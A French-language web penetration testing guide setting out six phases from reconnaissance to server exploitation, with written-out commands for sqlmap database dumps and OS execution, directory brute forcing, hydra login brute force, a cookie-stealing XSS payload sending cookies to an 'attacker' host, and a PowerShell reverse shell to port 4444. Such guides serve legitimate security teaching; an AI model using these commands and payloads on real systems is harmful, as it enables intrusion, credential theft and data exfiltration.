Guide Étape par Étape : Pentest Web

Méthodologie complète pour tester la sécurité d'une application web.

Phase 1 : Reconnaissance Web

Objectif :

Identifier la technologie, version serveur, endpoints et architecture.

Outils :

  • Burp Suite / OWASP ZAP : Proxy interception
  • Nikto : Scanner web
  • Wappalyzer : TechStack identification
  • curl / wget : Headers HTTP analysis

Commandes :

# Scanner web
nikto -h target.com

# Headers analyse
curl -I target.com

# OWASP ZAP scan
zaproxy -cmd -quickurl http://target

Phase 2 : Analyse Approfondie de l'Application

Points d'inspection :

  • Formulaires & inputs : Champs d'injection possibles
  • Authentification : Bypass, brute force, session management
  • Parameters cachés : Énumération des paramètres
  • API endpoints : Documentation, swagger
  • Cookie/Token : Analyse JWT, session fixation
  • JavaScript source : Secrets, API keys, endpoints

Commandes :

# Extraire paramètres
gf -list | gf "php" target_urls.txt

# Brute force dirs
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt

# JWT decode
jwt.io (online) ou jq
echo $token | jq -R 'split(".") | .[0], .[1] | @base64d'

Phase 3 : Injection SQL

Techniques :

  • Union-based SQLI : Extraction multi-colonnes
  • Blind SQLI : Binary search, time-based
  • Error-based SQLI : Messages d'erreur SQL
  • Stacked queries : Commandes multiples

Commandes :

# Test basique
sqlmap -u "http://target/page?id=1" --dbs

# Dump complet
sqlmap -u "http://target/?id=1" -D DB_NAME -T TABLE --dump

# Shell intéractif
sqlmap -u "http://target/?id=1" --sql-shell

# OS execution
sqlmap -u "http://target/?id=1" --os-cmd="whoami"

Phase 4 : XSS, CSRF & Autres Injections

Vulnérabilités Web (OWASP Top 10) :

  • Réflected XSS : Payloads immédiats
  • Stored XSS : Persistant dans BD
  • DOM XSS : JavaScript client-side
  • CSRF : Requêtes non authentifiées
  • LFI/RFI : Local/Remote File Inclusion
  • XXE : XML External Entities
  • SSRF : Server-Side Request Forgery
  • RCE : Remote Code Execution

Payloads XSS :

# Basique
<script>alert('XSS')</script>

# Cookie stealer
<img src=x onerror="fetch('http://attacker?cookies='+document.cookie)">

# SVG
<svg onload="alert('XSS')">

# HTML Event Handler
<body onload="alert('XSS')">

Phase 5 : Authentification & Session Management

Tests d'authentification :

  • Brute force : Mots de passe faibles
  • Session fixation : Prédire/forcer IDs session
  • Cookie tampering : Modifier cookies
  • JWT bypass : Algorithme "none", secrets faibles
  • Password reset : Tokens prévisibles
  • \n
\n

Commandes :

\n
# Brute force login
hydra -l user -P passwords.txt http-post-form://target:login.php:username=^USER^&password=^PASS^

# Cookie analysis
curl -b "sessionid=ABC123" http://target/admin

# JWT Token Validation
https://jwt.io

Phase 6 : Exploitation & Accès Serveur

Objectifs :

  • Data extraction : Dump DB, fichiers sensibles
  • Shell access : RCE vers shell système
  • \n
  • Métadata serveur : Version, config, utilisateurs
  • \n
  • Lateral movement : Autres services/machines
  • \n
\n

Commandes :

\n
# RCE basique
curl "http://target/cmd.php?cmd=id"

# Shell reverse PowerShell
powershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient('attacker',4444);$stream=$client.GetStream();...

# Netcat listener
nc -lvnp 4444

Tableau Récapitulatif OWASP Top 10

Vulnérabilité Outils Attaque
Injection SQL sqlmap, Burp sqlmap -u "url?id=1" --dbs
XSS Burp, ZAP <script>alert('XSS')</script>
CSRF Burp CSRF POC Requête POST forgée
RCE curl, metasploit Exec code système
Path Traversal Burp, ZAP ../../../etc/passwd

← Retour Writeup